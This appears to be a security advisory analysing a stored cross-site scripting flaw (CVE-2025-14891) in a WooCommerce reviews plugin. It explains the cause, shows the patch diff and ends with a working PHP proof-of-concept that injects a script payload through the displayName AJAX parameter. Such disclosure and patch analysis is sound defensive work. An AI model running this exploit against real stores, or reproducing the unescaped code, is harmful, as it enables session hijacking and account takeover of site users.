Atomic Edge analysis of CVE-2025-14891:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Customer Reviews for WooCommerce WordPress plugin. The vulnerability exists in the plugin’s local forms AJAX handler, allowing attackers with customer-level access or higher to inject malicious scripts via the `displayName` parameter. The injected scripts execute in the context of any user viewing the affected review form page. The CVSS score of 6.4 reflects a medium severity impact.
The root cause is insufficient input sanitization and output escaping. The vulnerable code is located in the file `customer-reviews-woocommerce/includes/reminders/class-cr-local-forms-ajax.php`. In the `cr_local_forms_ajax` function, the plugin directly assigns the unsanitized `$_POST[‘displayName’]` value to the `$req->order->display_name` property at line 56. This same unsanitized value is then stored in the database via a `$wpdb->update` call at line 73. The stored value is later rendered unsafely in the template file `customer-reviews-woocommerce/templates/form-customer.php` without proper output escaping.
Exploitation requires an attacker to submit a crafted AJAX request to the WordPress admin-ajax.php endpoint. The request must use the action `cr_local_forms_ajax` and include a valid `formId` parameter, which an attacker can obtain by placing an order. The `displayName` parameter carries the malicious JavaScript payload. While the AJAX action can be invoked without authentication, a valid form ID is required. If guest checkout is enabled, an unauthenticated attacker can place an order to obtain a form ID and then proceed with the attack.
The patch addresses the vulnerability by applying input sanitization and output escaping. In `class-cr-local-forms-ajax.php`, the code now wraps `$_POST[‘displayName’]` with `sanitize_text_field()` before assignment. The sanitized value is then used for both the request object and the database update. Additionally, the patch adds `esc_html()` calls to all dynamic output variables in the `form-customer.php` template file, including `$cr_form_cust_title`, `$cr_form_cust_preview_name`, and others. This dual approach neutralizes the XSS vector.
Successful exploitation leads to stored XSS. An attacker can inject arbitrary JavaScript that executes in the browser of any user who views the compromised review form. This can result in session hijacking, account takeover, defacement, or redirection to malicious sites. The attack can be performed by any authenticated customer, significantly widening the potential attacker pool beyond administrators.
--- a/customer-reviews-woocommerce/class-ivole.php
+++ b/customer-reviews-woocommerce/class-ivole.php
@@ -84,7 +84,7 @@
require_once( __DIR__ . '/includes/analytics/class-cr-reviews-top-charts.php' );
class Ivole {
- const CR_VERSION = '5.93.1';
+ const CR_VERSION = '5.94.0';
public function __construct() {
if( function_exists( 'wc' ) ) {
--- a/customer-reviews-woocommerce/includes/reminders/class-cr-local-forms-ajax.php
+++ b/customer-reviews-woocommerce/includes/reminders/class-cr-local-forms-ajax.php
@@ -53,7 +53,7 @@
$req = new stdClass();
$req->order = new stdClass();
$req->order->id = $record->orderId;
- $req->order->display_name = $_POST['displayName'];
+ $req->order->display_name = sanitize_text_field( $_POST['displayName'] );
$req->order->items = array();
foreach( $db_items as $item ) {
if( -1 === intval( $item['id'] ) ) {
@@ -73,7 +73,7 @@
$db_items = json_encode( $db_items );
$update_result = $wpdb->update( $table_name, array(
- 'displayName' => $_POST['displayName'],
+ 'displayName' => $req->order->display_name,
'items' => $db_items
), array( 'formId' => $_POST['formId'] ) );
if( false !== $update_result ) {
--- a/customer-reviews-woocommerce/ivole.php
+++ b/customer-reviews-woocommerce/ivole.php
@@ -3,7 +3,7 @@
Plugin Name: Customer Reviews for WooCommerce
Description: Customer Reviews for WooCommerce plugin helps you get more customer reviews for your shop by sending automated reminders and coupons.
Plugin URI: https://wordpress.org/plugins/customer-reviews-woocommerce/
-Version: 5.93.1
+Version: 5.94.0
Author: CusRev
Author URI: https://www.cusrev.com/business/
Text Domain: customer-reviews-woocommerce
--- a/customer-reviews-woocommerce/templates/form-customer.php
+++ b/customer-reviews-woocommerce/templates/form-customer.php
@@ -8,7 +8,7 @@
<div class="cr-form-customer">
<div class="cr-form-customer-title-ctr">
<div class="cr-form-customer-title">
- <?php echo $cr_form_cust_title; ?>
+ <?php echo esc_html( $cr_form_cust_title ); ?>
</div>
</div>
<div class="cr-form-item-container">
@@ -16,27 +16,27 @@
<div class="cr-form-customer-name">
<div class="cr-form-customer-name-preview">
<div class="cr-form-customer-name-preview-name">
- <?php echo $cr_form_cust_preview_name; ?>
+ <?php echo esc_html( $cr_form_cust_preview_name ); ?>
</div>
</div>
<div class="cr-form-customer-name-options">
<?php if ( $cr_form_cust_name ) : ?>
<div class="cr-form-customer-name-option<?php if( $cr_form_cust_preview_name === $cr_form_cust_name ) echo ' cr-form-active-name' ?>">
- <span><?php echo $cr_form_cust_name; ?></span>
+ <span><?php echo esc_html( $cr_form_cust_name ); ?></span>
</div>
<?php endif; ?>
<?php if ( $cr_form_cust_name_w_dot ) : ?>
<div class="cr-form-customer-name-option<?php if( $cr_form_cust_preview_name === $cr_form_cust_name_w_dot ) echo ' cr-form-active-name' ?>">
- <span><?php echo $cr_form_cust_name_w_dot; ?></span>
+ <span><?php echo esc_html( $cr_form_cust_name_w_dot ); ?></span>
</div>
<?php endif; ?>
<?php if ( $cr_form_cust_f_name ) : ?>
<div class="cr-form-customer-name-option<?php if( $cr_form_cust_preview_name === $cr_form_cust_f_name ) echo ' cr-form-active-name' ?>">
- <span><?php echo $cr_form_cust_f_name; ?></span>
+ <span><?php echo esc_html( $cr_form_cust_f_name ); ?></span>
</div>
<?php endif; ?>
<div class="cr-form-customer-name-option<?php if( $cr_form_cust_preview_name === $cr_form_cust_anonymous ) echo ' cr-form-active-name' ?>">
- <span><?php echo $cr_form_cust_anonymous; ?></span>
+ <span><?php echo esc_html( $cr_form_cust_anonymous ); ?></span>
</div>
</div>
</div>
@@ -47,6 +47,6 @@
<?php echo $cr_form_terms; ?>
</div>
<div class="cr-form-submit">
- <span class="cr-form-submit-label"><?php echo $cr_form_submit; ?></span>
+ <span class="cr-form-submit-label"><?php echo esc_html( $cr_form_submit ); ?></span>
<span class="cr-form-submit-loader"></span>
</div>
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14891 - Customer Reviews for WooCommerce <= 5.93.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via displayName Parameter
<?php
// Configure the target WordPress site URL
$target_url = 'https://vulnerable-site.com';
// Configure the form ID obtained from a previous order
$form_id = '12345';
// Configure the malicious payload for the displayName parameter
$payload = '"><script>alert(document.domain)</script>';
// Build the AJAX endpoint URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Prepare the POST data
$post_fields = [
'action' => 'cr_local_forms_ajax',
'formId' => $form_id,
'displayName' => $payload
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check the response
if ($http_code === 200) {
echo 'Payload may have been injected. Check the review form page for script execution.n';
echo 'Response: ' . $response . 'n';
} else {
echo 'Request failed with HTTP code: ' . $http_code . 'n';
}
?>